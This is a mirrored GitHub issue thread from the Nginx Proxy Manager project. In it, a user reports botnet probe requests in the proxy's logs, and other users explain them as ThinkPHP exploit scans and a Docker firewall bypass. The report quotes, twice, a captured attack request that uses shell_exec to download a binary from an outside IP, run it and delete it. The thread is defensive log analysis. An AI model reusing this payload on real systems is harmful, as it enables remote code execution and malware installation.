starred/nginx-proxy-manager-NginxProxyManager

Fork 0

mirror of https://github.com/NginxProxyManager/nginx-proxy-manager.git synced 2026-04-25 17:35:52 +03:00

[GH-ISSUE #829] Someone is trying to inject PHP scripts directly on NPM localhost #701

New issue

Closed

opened 2026-02-26 06:34:02 +03:00 by kerem · 2 comments

kerem commented

2026-02-26 06:34:02 +03:00

Owner

Originally created by @Filz0r on GitHub (Jan 15, 2021).
Original GitHub issue: https://github.com/NginxProxyManager/nginx-proxy-manager/issues/829

Checklist
Q: Have you pulled and found the error with jc21/nginx-proxy-manager:latest docker image?
R: Yes, I recently found this issue after implementing an ELK stack to help me process and analyze my logs, sadly the logs NPM gives are not standard so my ELK stack isn't much help when it comes to visualizing these requests I've found, it did however allow me to find hundreds of requests just like this one:

[13/Jan/2021:15:07:48 +0000] 400 - GET http localhost-nginx-proxy-manager "/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.174/bins/MwEIrNsdFa.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'" [Client 220.127.239.7] [Length 154] [Gzip -] "Uirusu/2.0" "-"

Describe the bug
This is more of a security issue than a bug, however this is not the normal behaviour I've seen from this known thonkphp script out there in the web, usually it tries to request the root of the domain or a DNS record associated to an IP, it is requesting localhost-nginx-proxy-manager always I'm no programming guru or server expert, but it seems to me that this request is trying to inject this PHP script inside of NPM's container, please correct me if I'm wrong

Q: What version of Nginx Proxy Manager is reported on the login page?
R: v2.7.2

To Reproduce
Steps to reproduce the behaviour:

Go to your logs folder inside the data directory you created
Open the default.log file and just try to search for a request similar to the one I provided
If you find it, that means I'm not the only one getting them, something I think is the case

Operating System

My NPM install is running on an Ubuntu 20.04 LTS install with docker

Additional context
I have built a Python script that goes trough the default.log file and writes a new file with all of the requests similar to this one, right now it just does this, but I'm going to try to make it filter out the IPs that try to send these requests and also how many of these requests each IP does. Also if anyone wants to help me doing this please feel free to contact me, you can check out the script I built to sort the logs over here.

I also want to say that I have no idea on how to block these requests, fail2ban could be a solution, however I think it would need to be running inside the container to be effective (I think...). I created that script so that other people could check if this is happening to them too, and hopefully has a way to provide the developer a way to fix this possible security issue. To my understanding NPM does not use PHP so I think this is why the log reports a bad request (400) instead of an not found (404) meaning that. I can also provide a log file with the requests I've filtered out so far, 105 out of the 370 the original default.log file had, keep in mind that this is was taken from a period of 24h.

Finally I want to thank this developer for making my life easier when it comes to exposing my services and websites to the world, and I hope he keeps up developing this awesome piece of software!

EDIT: Since writing this issue I was able to extract a list of IPs that sent these requests, I'm still working with the same 370 line long file, and I was able to extract 81 unique IPs sending these requests some more than once. I've published an more updated version of the script I linked before that should make it easier for everyone concerned about this to find out if their NPM containers are also getting these requests or not. It runs rather fast with my 370 line file, but it can take longer in longer files

Originally created by @Filz0r on GitHub (Jan 15, 2021). Original GitHub issue: https://github.com/NginxProxyManager/nginx-proxy-manager/issues/829 **Checklist** **Q:** Have you pulled and found the error with `jc21/nginx-proxy-manager:latest` docker image? **R:** Yes, I recently found this issue after implementing an ELK stack to help me process and analyze my logs, sadly the logs NPM gives are not standard so my ELK stack isn't much help when it comes to visualizing these requests I've found, it did however allow me to find hundreds of requests just like this one: `[13/Jan/2021:15:07:48 +0000] 400 - GET http localhost-nginx-proxy-manager "/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.174/bins/MwEIrNsdFa.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'" [Client 220.127.239.7] [Length 154] [Gzip -] "Uirusu/2.0" "-"` **Describe the bug** This is more of a security issue than a bug, however this is not the normal behaviour I've seen from this known **thonkphp** script out there in the web, usually it tries to request the root of the domain or a DNS record associated to an IP, it is requesting **localhost-nginx-proxy-manager** always I'm no programming guru or server expert, but it seems to me that this request is trying to inject this PHP script inside of NPM's container, please correct me if I'm wrong **Q:** What version of Nginx Proxy Manager is reported on the login page? **R:** v2.7.2 **To Reproduce** Steps to reproduce the behaviour: 1. Go to your logs folder inside the data directory you created 2. Open the default.log file and just try to search for a request similar to the one I provided 3. If you find it, that means I'm not the only one getting them, something I think is the case **Operating System** - My NPM install is running on an Ubuntu 20.04 LTS install with docker **Additional context** I have built a Python script that goes trough the default.log file and writes a new file with all of the requests similar to this one, right now it just does this, but I'm going to try to make it filter out the IPs that try to send these requests and also how many of these requests each IP does. Also if anyone wants to help me doing this please feel free to contact me, you can check out the script I built to sort the logs over [here](https://github.com/Filz0r/npm-log-parser). I also want to say that I have no idea on how to block these requests, fail2ban could be a solution, however I think it would need to be running inside the container to be effective (*I think...*). I created that script so that other people could check if this is happening to them too, and hopefully has a way to provide the developer a way to fix this possible security issue. To my understanding NPM does not use PHP so I think this is why the log reports a bad request (400) instead of an not found (404) meaning that. I can also provide a log file with the requests I've filtered out so far, 105 out of the 370 the original default.log file had, keep in mind that this is was taken from a period of 24h. Finally I want to thank this developer for making my life easier when it comes to exposing my services and websites to the world, and I hope he keeps up developing this awesome piece of software! **EDIT:** Since writing this issue I was able to extract a list of IPs that sent these requests, I'm still working with the same 370 line long file, and I was able to extract **81** unique IPs sending these requests some more than once. I've published an more updated version of the script I linked before that should make it easier for everyone concerned about this to find out if their NPM containers are also getting these requests or not. It runs rather fast with my 370 line file, but it can take longer in longer files

kerem

2026-02-26 06:34:02 +03:00

closed this issue
added the
bug
label

kerem commented

2026-02-26 06:34:03 +03:00

Author

Owner

@sanderdatema commented on GitHub (Mar 5, 2021):

I fail to see how this is a bug or even a security issue... It's just someone (or more likely something) probing for vulnerabilities in known scripts. NPM doesn't even run PHP scripts, so all the probes will fail even just because of that.

Yes, it'll pollute your logs, but it's not a problem if you don't run any of the vulnerable scripts.

https://stackoverflow.com/questions/64736540/spring-security-deployed-app-on-aws-thinkphp-request

BTW, I have loads of lines like this in my logs as well. The difference is that they do no mention the NPM container itself in the request. And you do mention that.

@sanderdatema commented on GitHub (Mar 5, 2021): I fail to see how this is a bug or even a security issue... It's just someone (or more likely something) probing for vulnerabilities in known scripts. NPM doesn't even run PHP scripts, so all the probes will fail even just because of that. Yes, it'll pollute your logs, but it's not a problem if you don't run any of the vulnerable scripts. https://stackoverflow.com/questions/64736540/spring-security-deployed-app-on-aws-thinkphp-request BTW, I have loads of lines like this in my logs as well. The difference is that they do no mention the NPM container itself in the request. And you do mention that.

kerem commented

2026-02-26 06:34:03 +03:00

Author

Owner

@Filz0r commented on GitHub (Mar 17, 2021):

Oops seems like I forgot to bring my findings here after learning more about this issue, I'm terribly sorry for that.

@sanderdatema You are absolutely right, at the time when I found about this I had no idea how NPM actually worked, neither didn't I have any knowledge on how docker messes with iptables directly making my efforts to block the source of these requests useless. You are right to say that this is not an NPM specific issue, it's more of an docker issue. I found this while running an Ubuntu 20.04 server with docker to run my containers, I use ufw firewall on Ubuntu servers, and I tried to manually ban the IP of a VPS I own and tried to access my NPM instance while connected to the same VPS with a VPN, it did nothing, even with UFW banning all requests from that public IP I was still able to access my own server. Again this has to do with how docker messes with iptables when you launch a container, at least on Ubuntu, all rules you configure with ufw will be ignored by docker, even if you try to apply the ban on docker network interfaces.
After figuring this out I tried to build my own Nginx reverse proxy the old fashioned way with certbot and ended up finding that even more requests, not equal to this, but similar were being made, probably NPM was blocking them before, I can't be sure about that, however if I were to use ufw to ban the source of these requests the ban would work unlike when using NPM and docker. In the meantime I was trying to find out how to fix this very known issue with docker, I found out that there were in fact solutions for this, but since I'm a recent Linux user I did not feel comfortable implementing them, specially because when I tried to in the same machine where I found about this, I accidentally broke my firewall and internet connectivity on that server.

I'm closing this issue, because as @sanderdatema said, this is not an NPM issue, but more of an docker issue, I'll also leave the fix I found on stackoverflow linked bellow, just read the highest voted comment, and not the approved solution, as that one goes into more detail on why this happens and how to fix it. And also, for what I can tell the reason why I was getting these requests directly in the NPM default log, is because the requests are probably made with a public IP and not an hostname, and sending a request to port 80 on my public IP ended up in sending it straight to the NPM container, that has localhost-nginx-proxy-manager as it's hostname, my guess is that whoever is behind this is just giving their botnet a bulk list of residential IP's hoping to find someone that is not aware of these issues it tries to exploit in the ThinkPHP framework, the main target of this botnet. I also tried to check for these requests in my Linode VPS and I was not able to find any similar to them so far, so maybe the botnet is either avoiding cloud provider IPs or Linode is straight up blocking them before they reach the VPS, although full disclaimer this is more of a speculation than an actual fact, as I said before, I'm no Linux expert at the time I just thought this was an serious issue with NPM and thought everyone should be aware of this, now I know that this is actually a Docker issue.

Link to a stackoverflow post that explains better how this is an Docker issue

@Filz0r commented on GitHub (Mar 17, 2021): Oops seems like I forgot to bring my findings here after learning more about this issue, I'm terribly sorry for that. @sanderdatema You are absolutely right, at the time when I found about this I had no idea how NPM actually worked, neither didn't I have any knowledge on how docker messes with iptables directly making my efforts to block the source of these requests useless. You are right to say that this is not an NPM specific issue, it's more of an docker issue. I found this while running an Ubuntu 20.04 server with docker to run my containers, I use ufw firewall on Ubuntu servers, and I tried to manually ban the IP of a VPS I own and tried to access my NPM instance while connected to the same VPS with a VPN, it did nothing, even with UFW banning all requests from that public IP I was still able to access my own server. Again this has to do with how docker messes with iptables when you launch a container, at least on Ubuntu, all rules you configure with ufw will be ignored by docker, even if you try to apply the ban on docker network interfaces. After figuring this out I tried to build my own Nginx reverse proxy the old fashioned way with certbot and ended up finding that even more requests, not equal to this, but similar were being made, probably NPM was blocking them before, I can't be sure about that, however if I were to use ufw to ban the source of these requests the ban would work unlike when using NPM and docker. In the meantime I was trying to find out how to fix this very known issue with docker, I found out that there were in fact solutions for this, but since I'm a recent Linux user I did not feel comfortable implementing them, specially because when I tried to in the same machine where I found about this, I accidentally broke my firewall and internet connectivity on that server. I'm closing this issue, because as @sanderdatema said, this is not an NPM issue, but more of an docker issue, I'll also leave the fix I found on stackoverflow linked bellow, just read the highest voted comment, and not the approved solution, as that one goes into more detail on why this happens and how to fix it. And also, for what I can tell the reason why I was getting these requests directly in the NPM default log, is because the requests are probably made with a public IP and not an hostname, and sending a request to port 80 on my public IP ended up in sending it straight to the NPM container, that has `localhost-nginx-proxy-manager` as it's hostname, my guess is that whoever is behind this is just giving their botnet a bulk list of residential IP's hoping to find someone that is not aware of these issues it tries to exploit in the ThinkPHP framework, the main target of this botnet. I also tried to check for these requests in my Linode VPS and I was not able to find any similar to them so far, so maybe the botnet is either avoiding cloud provider IPs or Linode is straight up blocking them before they reach the VPS, although full disclaimer this is more of a speculation than an actual fact, as I said before, I'm no Linux expert at the time I just thought this was an serious issue with NPM and thought everyone should be aware of this, now I know that this is actually a Docker issue. [Link to a stackoverflow post that explains better how this is an Docker issue](https://stackoverflow.com/questions/30383845/what-is-the-best-practice-of-docker-ufw-under-ubuntu)

No milestone

No project

No assignees

1 participant

Notifications

Due date

The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference

starred/nginx-proxy-manager-NginxProxyManager#701

No description provided.

Rows
Columns